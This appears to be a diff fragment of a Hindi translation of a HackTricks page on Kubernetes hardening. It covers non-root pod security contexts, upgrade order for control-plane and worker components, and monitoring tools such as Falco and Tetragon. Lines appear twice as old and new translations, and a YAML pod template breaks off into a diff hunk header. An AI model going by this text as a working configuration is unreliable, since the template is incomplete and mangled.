डिफ़ॉल्ट रूप से, जब कोई Pod शुरू किया जाता है और कोई अन्य उपयोगकर्ता निर्दिष्ट नहीं होता है, तो root user का उपयोग किया जाएगा। आप अपने एप्लिकेशन को निम्नलिखित जैसे टेम्पलेट का उपयोग करके एक अधिक सुरक्षित context में चला सकते हैं:
डिफ़ॉल्ट रूप से, यदि कोई अन्य user निर्दिष्ट नहीं किया गया है, तो Pod शुरू होने पर root user का उपयोग किया जाएगा। आप अपने application को निम्नलिखित जैसी template का उपयोग करके एक अधिक सुरक्षित context में चला सकते हैं:
```yaml
apiVersion: v1
kind: Pod
@@ -225,30 +297,30 @@ allowPrivilegeEscalation: true
- [https://kubernetes.io/docs/tasks/configure-pod-container/security-context/](https://kubernetes.io/docs/tasks/configure-pod-container/security-context/)
- [https://kubernetes.io/docs/concepts/policy/pod-security-policy/](https://kubernetes.io/docs/concepts/policy/pod-security-policy/)
### General Hardening
### सामान्य हार्डनिंग
You should update your Kubernetes environment as frequently as necessary to have:
आपको अपने Kubernetes वातावरण को आवश्यकतानुसार बार-बार अपडेट करना चाहिए ताकि:
- Dependencies up to date.
- Bug and security patches.
- Dependencies अप-टू-डेट रहें।
- बग और सुरक्षा पैच लागू हों।
[**Release cycles**](https://kubernetes.io/docs/setup/release/version-skew-policy/): हर 3 महीने में एक नया minor release आता है -- 1.20.3 = 1(Major).20(Minor).3(patch)
**The best way to update a Kubernetes Cluster is (from** [**here**](https://kubernetes.io/docs/tasks/administer-cluster/cluster-upgrade/)**):**
**Kubernetes Cluster अपडेट करने का सबसे अच्छा तरीका (सूचना के लिए** [**here**](https://kubernetes.io/docs/tasks/administer-cluster/cluster-upgrade/)**):**
- Master Node घटकों को निम्न अनुक्रम में अपग्रेड करें:
- etcd (all instances).
- kube-apiserver (all control plane hosts).
- kube-controller-manager.
- kube-scheduler.
- cloud controller manager, यदि आप इसका उपयोग करते हैं।
- Worker Node घटकों जैसे kube-proxy, kubelet को अपग्रेड करें।
- Master Node कंपोनेंट्स को निम्न क्रम में अपग्रेड करें:
- etcd (सभी instances)
- kube-apiserver (सभी control plane hosts)
- kube-controller-manager
- kube-scheduler
- cloud controller manager, यदि आप इस उपयोग करते हैं।
- Worker Node कंपोनेंट्स जैसे kube-proxy, kubelet को अपग्रेड करें।
## Kubernetes monitoring & security:
## Kubernetes मॉनिटरिंग और सुरक्षा:
- Kyverno Policy Engine
- Cilium Tetragon - eBPF-आधारित सुरक्षा अवलोकन और रनटाइम प्रवर्तन
- Cilium Tetragon - eBPF-आधारित सुरक्षा अवलोकन और Runtime Enforcement
- Network Security Policies
- Falco - Runtime सुरक्षा निगरानी और पता लगाना
- Falco - Runtime सुरक्षा मॉनिटरिंग और डिटेक्शन
{{#include ../../../banners/hacktricks-training.md}}